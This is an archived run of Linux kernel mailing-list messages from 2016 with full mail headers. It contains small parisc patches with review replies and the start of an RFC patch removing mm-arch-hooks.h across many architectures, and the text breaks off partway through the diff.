Original-Received: from ls3530.box ([92.203.32.229]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MWCKz-1cObgN3Ksj-00XK9e; Sat, 29 Oct 2016 23:52:46
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:kb00RD4IQjEwLF17NHPJUi7H6mvzLqnA3LvOqLBw1R8oUDGKh7a
 XkberRXK9XvGDWwo/oCp5H2RpGl7w7uAZn7i4Swazp5ySubxO/EnI9NnQzvOmfExxy63Pmk
 BVVMCC3+01fY4zz0OH5wasiK9tqljhzvppEJNtYXuxYiDewey8GMjAef9bl7ifMDmIEQgzC
 3KjqBjBzfTiEa7mIrm5aw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:f2loOcyIcQk=:MaxDz5x+Kf791o4R7KLRMC
 jJURjR9oEazINytjmUo7xi9SO+P9XrEM39V/6cFtW0mZX/1KVQeo2pyWzLcJrU731gnN3/AyE
 J9VnwoBg/GS5D7WbOef1VfcPT8wH1qHp1kto7ttxNnN6dbCI16DOln01/6LRHOobfV9e02ogI
 0CvzYgWinv/kGJpm6VNSWVXg8Y36bhNFbK5FxbocPnKxEpxz4bLGh4Cteb+JrJS1TcVFbp90q
 QQvEkOXJ1YcwGtUFwTwfwQVf6j4R+BKcqew0wwMDrLz6FNBbpZ4bui5wlPrWLaxuVQuFmIVH7
 S/ewnURmVerdU1+koLdrVP/PmID24o1dPWqJ3yPldSuYIYf6XIwG2pt6qyTjIJ8s55AfhJYKB
 kq2JdaQiJlo+vphU4YKtfyvSVpqw40xX0tT8JMgOm1WUoRNVqx6N686+qdcTdWHiZ5je4ALoZ
 bgHi6EW9s9yPvsWVfFEoj+JfBC/ulb7s9qX3wK2AGhDh7z0Oz2ArKh9O1P25OAMKY8Ths9/UZ
 9fxnbSoqGq5DyeFCK2guROAH9b5hmePkQDzmThrKA1Y9WFuOdPF3be8CMV6CMkVHK3DI6s3o0
 hNScIBbEzMJhHTu+z0uPWAoQba004uR25MrGv/kQ8ThfBICsaX+Mdini3RaHzEvdNJCt0dP7r
 F9QMISWWQNAfz9v+bSD12dBRM/FLHxFZHdOEfuZrCU3b9tr6Wok2yPP2ATBVEkBPitYn6iVe+
 XLsfYNVZdTpHuERYtU02fwYEWCIhNOY1TY2mPM6SnNkgV7hTOzpr+rf+b3A=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27027>

LINUX_GATEWAY_ADDR is defined in unistd.h. Let's use it.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index d03422e..d3407cf 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -100,7 +100,7 @@ set_thread_pointer:
 	.endr
 
 /* This address must remain fixed at 0x100 for glibc's syscalls to work */
-	.align 256
+	.align LINUX_GATEWAY_ADDR
 linux_gateway_entry:
 	gate	.+8, %r0			/* become privileged */
 	mtsp	%r0,%sr4			/* get kernel space into sr4 */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use LINUX_GATEWAY_ADDR define instead of hardcoded value value
Date: Sun, 30 Oct 2016 11:23:43 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <2532502.E0v7kgWD9v@daneel.sf-tec.de>
References: <20161029215243.GA24444@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart7246214.TJVra2sajK"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1477823460 8011 195.159.176.226 (30 Oct 2016 10:31:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Oct 2016 10:31:00 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.7.4-1.g6a5bbb1-default; KDE/4.14.18; x86_64; ; )
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 30 11:30:56 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0nNt-0007tO-7H
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Oct 2016 11:30:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753132AbcJ3Kaj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Oct 2016 06:30:39 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:37285 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753435AbcJ3Kaj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Oct 2016 06:30:39 -0400
X-Greylist: delayed 400 seconds by postgrey-1.27 at vger.kernel.org; Sun, 30 Oct 2016 06:30:38 EDT
Original-Received: (qmail 8352 invoked from network); 30 Oct 2016 10:23:54 -0000
Original-Received: from dslb-088-070-120-150.088.070.pools.vodafone-ip.de ([::ffff:88.70.120.150]:43390 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Sun, 30 Oct 2016 11:23:54 +0100
In-Reply-To: <20161029215243.GA24444@ls3530.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27028>

--nextPart7246214.TJVra2sajK
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Helge Deller wrote:

> LINUX_GATEWAY_ADDR is defined in unistd.h. Let's use it.

value value?
--nextPart7246214.TJVra2sajK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAlgVyjsACgkQXKSJPmm5/E5ONwCfVi6ZWi8Kqy894vP3WCArcjzc
S1kAn3HqqKuOny4Kt2mNPMQQNUY6VnrS
=0JKB
-----END PGP SIGNATURE-----

--nextPart7246214.TJVra2sajK--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: keep track of last shared mmap'ed address
Date: Sun, 30 Oct 2016 18:16:12 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <9CFF55D6-4E90-4FB4-B085-348FF2B4E0C2@bell.net>
References: <20161027183929.GA10225@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1477865785 32202 195.159.176.226 (30 Oct 2016 22:16:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Oct 2016 22:16:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 30 23:16:20 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0yOh-0006kG-Qh
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Oct 2016 23:16:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753223AbcJ3WQO convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Oct 2016 18:16:14 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:41416 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1753118AbcJ3WQO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Oct 2016 18:16:14 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20161030221612.PTPD28435.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 30 Oct 2016 18:16:12 -0400
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm02.bell.net with ESMTP
          id <20161030221612.JQNG17678.torspm02.bell.net@[192.168.2.10]>;
          Sun, 30 Oct 2016 18:16:12 -0400
In-Reply-To: <20161027183929.GA10225@ls3530.box>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.5816712C.00F7,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27029>

On 2016-10-27, at 2:39 PM, Helge Deller wrote:

> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index 0a393a0..c04d946 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -36,12 +36,11 @@
> #include <linux/personality.h>
> #include <linux/random.h>
> 
> -/* we construct an artificial offset for the mapping based on the physical
> - * address of the kernel mapping variable */
> +/* keep track of the last mapping address offset in the private_data field */
> #define GET_LAST_MMAP(filp)		\
> -	(filp ? ((unsigned long) filp->f_mapping) >> 8 : 0UL)
> +	(filp && (file_count(filp) > 0) ? (unsigned long) filp->private_data : 0UL)
> #define SET_LAST_MMAP(filp, val)	\
> -	 { /* nothing */ }
> +	{ if (filp) filp->private_data = (void *) (val); }

In my testing, this causes hpmc's doing serial io.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use LINUX_GATEWAY_ADDR define instead of
 hardcoded value value
Date: Mon, 31 Oct 2016 10:26:37 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <58170E4D.4050801@gmx.de>
References: <20161029215243.GA24444@ls3530.box>
 <2532502.E0v7kgWD9v@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1477906070 1960 195.159.176.226 (31 Oct 2016 09:27:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 31 Oct 2016 09:27:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 31 10:27:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c18sE-0002nk-Df
	for glpp-linux-parisc@m.gmane.org; Mon, 31 Oct 2016 10:27:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1763781AbcJaJ1Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 31 Oct 2016 05:27:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55506 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1763743AbcJaJ1Y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 31 Oct 2016 05:27:24 -0400
Original-Received: from [10.1.144.2] ([134.3.239.178]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0Lp8h6-1cUzVK2z6y-00esKQ; Mon, 31 Oct 2016 10:26:38
 +0100
In-Reply-To: <2532502.E0v7kgWD9v@daneel.sf-tec.de>
X-Provags-ID: V03:K0:wNYpnkYVyDayS8NZMYQPvY1xbaCEv+ebHUYUa5AT2nUPrTHsyBX
 9FErwDsoIjBSXcUturxD7HAOxMOefoKzMdYpqz8CLRc44fcox5k0W81XeUy/lHW+fNk2F/L
 elK1bMUd86Nr0A4OuKmJpqT4RY1+6VawnNQpjcieqVJoNDbE+yEAQyRqtpBEbNDk0AyB0o3
 epKTL1W4BXS/nuPfyl0dA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hJWPyifiLKY=:zph59+7SXs7lpCu1YkRy5N
 KwJ0jQ0tPEOdqEUSDzFVNYsby9gz37txZpJ5XRHg/SkCDrJO1qK6EOKKLt8KDa3d81iIi/jIx
 +9WBeh5dSCgiqAzr2zdbFkGchUg6hZOJzqaO+sCaDfm1rmB7XWdJaG4ZlPm4g4sF+YmT3vXKC
 lchMDKrPCCGH1h+jfSORpV9/To6qu5nfAI9XIoqlpW/VdD2ZZ/Ejhqktn/Tb3o/A8P12qVIoH
 Kpn7u8g6TIPNW8x9ng0ZePbIQcQIKVcogrNA9F4YunmsbMvl/VzOJc5BSpkOfauzXCtqozRHO
 TRgqxSpbOxObtfdQ+bBwZYl8pbHBYy6lpFbxRszYQr+9tRQ+Toli6Sl0OvB5kfOw+Rn1Zi/k5
 cea2O9ozRAte9lYkm275fXVENNfJPsFV01tDj2lfzHcl9/TNgVaXjbu2dib8GZcDrHDg2TjX5
 mrZaiI3s4eXeoX8IreggTrAdKRlJCXZkebMdmUcC9S4kOKeietyy/hK38aWkIiytnkOu7WJ0L
 CgqM+Z6SXoT8GxEGTDnvFMbtcmlFZNwQSkzK1DmY9Z1eIWYKjeoj8fbet4JdX54m3/TUNBtnO
 F6VxFrXA1ayMuASWeoK0I5wRbaAcOfue/lnFAq1P9ywa5mh3vMM9NG5yeVvdh4diSMyMlE3za
 TKgOyRjUyjVNmU5OWwixt18y0abnO4ZFP/oQZOXNGBeQci9HhX7Xw/Ul+3stGCbrIosccHuTK
 scKCSnKH0WcEGFsC5Om8hqnd9SS567W2HR6uIeHx7RPl2mKoJmglZSYQ0UgxmddegqcU3lys 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27030>

On 30.10.2016 11:23, Rolf Eike Beer wrote:
> Helge Deller wrote:
> 
>> LINUX_GATEWAY_ADDR is defined in unistd.h. Let's use it.
> 
> value value?

I do see huge value in being able to see where this value is being
used. A new developer who uses grep will find the relevant assembler
code as well.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christopher Covington <cov@codeaurora.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.kernel.cross-arch
Subject: [RFC v2 7/7] mm: Remove mm-arch-hooks.h
Date: Tue,  1 Nov 2016 11:11:01 -0600
Lines: 487
Approved: news@gmane.org
Message-ID: <20161101171101.24704-7-cov@codeaurora.org>
References: <20161101171101.24704-1-cov@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1478020339 10850 195.159.176.226 (1 Nov 2016 17:12:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 1 Nov 2016 17:12:19 +0000 (UTC)
Cc: Christopher Covington <cov@codeaurora.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Mark Salter <msalter@redhat.com>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	David Howells <dhowells@re
To: criu@openvz.org,
	Will Deacon <will.deacon@arm.com>,
	linux-mm@kvack.org,
	Laurent Dufour <ldufour@linux.vnet.ibm.com>
Original-X-From: owner-linux-mm@kvack.org Tue Nov 01 18:12:03 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1c1cbA-00078l-4Q
	for glkm-linux-mm-2@m.gmane.org; Tue, 01 Nov 2016 18:11:44 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 621E76B02AF; Tue,  1 Nov 2016 13:11:46 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 5D3656B02B0; Tue,  1 Nov 2016 13:11:46 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 473656B02B1; Tue,  1 Nov 2016 13:11:46 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-yw0-f199.google.com (mail-yw0-f199.google.com [209.85.161.199])
	by kanga.kvack.org (Postfix) with ESMTP id 0B6786B02AF
	for <linux-mm@kvack.org>; Tue,  1 Nov 2016 13:11:46 -0400 (EDT)
Original-Received: by mail-yw0-f199.google.com with SMTP id r204so280367664ywb.0
        for <linux-mm@kvack.org>; Tue, 01 Nov 2016 10:11:46 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:dkim-signature:dmarc-filter:from
         :to:cc:subject:date:message-id:in-reply-to:references;
        bh=XNOqN+gAFB9jS61v4G5khwM9T4Uz4a3zLEfWgWLn2gs=;
        b=PJNn1T8HpGXFaKHjNILFCiM0wWrs2q+jmHfETGOpnZJD/5PrmgiPWbweSj7FfhdZqt
         sidxZLCb7K6jU/7OGK+dPSdK29P7WsIifuGwzKyiELLtUSmvQQmiEyprol1fdVwLWKna
         eJDs/K1MIb5acvkL06raRGh2zk9RNysNWaRV2pgYI4FVWFRiccClOaV5A7NoRV0EXeUR
         nVVRjCTHKfYc7SH6zRBkoJ6nh8R8h6cMzF/L7pTCKnh0zUFgGRN+K6AFPI4ul1bQ+Y7/
         NJGHznM6R3eG10ZvTK0V5Z1Q3FIYpoAAh4I1UV4KubE43u1j/kIR08EQQyGw3EO+vwTh
         M3/Q==
X-Gm-Message-State: ABUngvd0V70vcAVOwQj0NhrPD+y4XC6ngIoujHo1b1B6l6vso5XRFHA16F1oZ3KPvKbnt38mmwjtk4hz6MamRdq8VMMh4rrHZZzUhldSev0Tue2jpt3fm3bFZUTxyOryMeu9kr4OqRrZogY5C6neHQ1OQjutNIktRvoOu1uKcLS0QcPu3NjxpEiS8dIH
X-Received: by 10.36.57.136 with SMTP id l130mr1922618ita.18.1478020305728;
        Tue, 01 Nov 2016 10:11:45 -0700 (PDT)
X-Received: by 10.36.57.136 with SMTP id l130mr1922581ita.18.1478020305100;
        Tue, 01 Nov 2016 10:11:45 -0700 (PDT)
Original-Received: from smtp.codeaurora.org (smtp.codeaurora.org. [198.145.29.96])
        by mx.google.com with ESMTPS id n7si1517987pag.191.2016.11.01.10.11.44
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 01 Nov 2016 10:11:45 -0700 (PDT)
Received-SPF: pass (google.com: domain of cov@codeaurora.org designates 198.145.29.96 as permitted sender) client-ip=198.145.29.96;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@codeaurora.org;
       dkim=pass header.i=@codeaurora.org;
       spf=pass (google.com: domain of cov@codeaurora.org designates 198.145.29.96 as permitted sender) smtp.mailfrom=cov@codeaurora.org
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
	id 4B8636235B; Tue,  1 Nov 2016 17:11:29 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
	s=default; t=1478020304;
	bh=cvhKjxqqRT8HG2LYlHkU8YYP4pTCyMiv9IdTn2E3UlE=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=QL8lcfKDenfXe9TEu+t6zTp1clgkgXxJ7vkmzS9woER+yAxRUuMuSTFpxD+8mEMES
	 qanbE0P3hVT2MaB9dgB867xHnG9M2DhBo95V1DZIurydKrnB2IEJdpl+M/aOxEQCww
	 SZtdPN2rH2G1Hbifcy8GcHpU1KwwPTS0fUgdxpT0=
Original-Received: from localhost.localdomain (unknown [198.233.217.214])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	(Authenticated sender: cov@smtp.codeaurora.org)
	by smtp.codeaurora.org (Postfix) with ESMTPSA id ABCA262346;
	Tue,  1 Nov 2016 17:11:18 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
	s=default; t=1478020284;
	bh=cvhKjxqqRT8HG2LYlHkU8YYP4pTCyMiv9IdTn2E3UlE=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=VOUS5y5+Y22kRMWPPhIUWAcxbMGsfI51mScQLHIjNNBJFb+nC7G573mm/BrMYCBHr
	 /2VbQ6ERVVuI+dcLTp5IzSqN68g6caIzVVi62Upz66ts+eXe07KZYbCZBMqVVJzJ3u
	 yunccvhIA9WQS8zLLLTaSlhTCVPx4q7+yi7avp9I=
DMARC-Filter: OpenDMARC Filter v1.3.1 smtp.codeaurora.org ABCA262346
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=pass smtp.mailfrom=cov@codeaurora.org
X-Mailer: git-send-email 2.9.3
In-Reply-To: <20161101171101.24704-1-cov@codeaurora.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:160277 gmane.linux.ports.alpha:3961 gmane.linux.kernel:2339952 gmane.linux.kernel.arc:1683 gmane.linux.ports.arm.kernel:535901 gmane.linux.ports.hexagon:1062 gmane.linux.ports.ia64:27447 gmane.linux.kernel.metag:1188 gmane.linux.ports.mips.general:56806 gmane.linux.ports.parisc:27031 gmane.linux.ports.sh.devel:54838 gmane.linux.ports.sparc:23924 gmane.linux.uml.devel:16037 gmane.linux.uml.user:15084 gmane.linux.kernel.cross-arch:34056
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/160277>

The only use case, VDSO remap support for PowerPC, has been made generic
instead of architecture-specific. Since the infrastructure is no longer
needed, remove it.

Signed-off-by: Christopher Covington <cov@codeaurora.org>
---
 arch/alpha/include/asm/Kbuild      |  1 -
 arch/arc/include/asm/Kbuild        |  1 -
 arch/arm/include/asm/Kbuild        |  1 -
 arch/arm64/include/asm/Kbuild      |  1 -
 arch/avr32/include/asm/Kbuild      |  1 -
 arch/blackfin/include/asm/Kbuild   |  1 -
 arch/c6x/include/asm/Kbuild        |  1 -
 arch/cris/include/asm/Kbuild       |  1 -
 arch/frv/include/asm/Kbuild        |  1 -
 arch/h8300/include/asm/Kbuild      |  1 -
 arch/hexagon/include/asm/Kbuild    |  1 -
 arch/ia64/include/asm/Kbuild       |  1 -
 arch/m32r/include/asm/Kbuild       |  1 -
 arch/m68k/include/asm/Kbuild       |  1 -
 arch/metag/include/asm/Kbuild      |  1 -
 arch/microblaze/include/asm/Kbuild |  1 -
 arch/mips/include/asm/Kbuild       |  1 -
 arch/mn10300/include/asm/Kbuild    |  1 -
 arch/nios2/include/asm/Kbuild      |  1 -
 arch/openrisc/include/asm/Kbuild   |  1 -
 arch/parisc/include/asm/Kbuild     |  1 -
 arch/s390/include/asm/Kbuild       |  1 -
 arch/score/include/asm/Kbuild      |  1 -
 arch/sh/include/asm/Kbuild         |  1 -
 arch/sparc/include/asm/Kbuild      |  1 -
 arch/tile/include/asm/Kbuild       |  1 -
 arch/um/include/asm/Kbuild         |  1 -
 arch/unicore32/include/asm/Kbuild  |  1 -
 arch/x86/include/asm/Kbuild        |  1 -
 arch/xtensa/include/asm/Kbuild     |  1 -
 include/asm-generic/mm_hooks.h     | 16 ----------------
 mm/mremap.c                        | 20 +++++++++++++++++---
 32 files changed, 17 insertions(+), 49 deletions(-)

diff --git a/arch/alpha/include/asm/Kbuild b/arch/alpha/include/asm/Kbuild
index bf8475c..0a5e0ec 100644
--- a/arch/alpha/include/asm/Kbuild
+++ b/arch/alpha/include/asm/Kbuild
@@ -6,7 +6,6 @@ generic-y += exec.h
 generic-y += export.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += sections.h
 generic-y += trace_clock.h
diff --git a/arch/arc/include/asm/Kbuild b/arch/arc/include/asm/Kbuild
index c332604..e6059a8 100644
--- a/arch/arc/include/asm/Kbuild
+++ b/arch/arc/include/asm/Kbuild
@@ -22,7 +22,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += msgbuf.h
 generic-y += msi.h
diff --git a/arch/arm/include/asm/Kbuild b/arch/arm/include/asm/Kbuild
index 0745538..44b717c 100644
--- a/arch/arm/include/asm/Kbuild
+++ b/arch/arm/include/asm/Kbuild
@@ -15,7 +15,6 @@ generic-y += irq_regs.h
 generic-y += kdebug.h
 generic-y += local.h
 generic-y += local64.h
-generic-y += mm-arch-hooks.h
 generic-y += msgbuf.h
 generic-y += msi.h
 generic-y += param.h
diff --git a/arch/arm64/include/asm/Kbuild b/arch/arm64/include/asm/Kbuild
index 44e1d7f..a42a136 100644
--- a/arch/arm64/include/asm/Kbuild
+++ b/arch/arm64/include/asm/Kbuild
@@ -20,7 +20,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
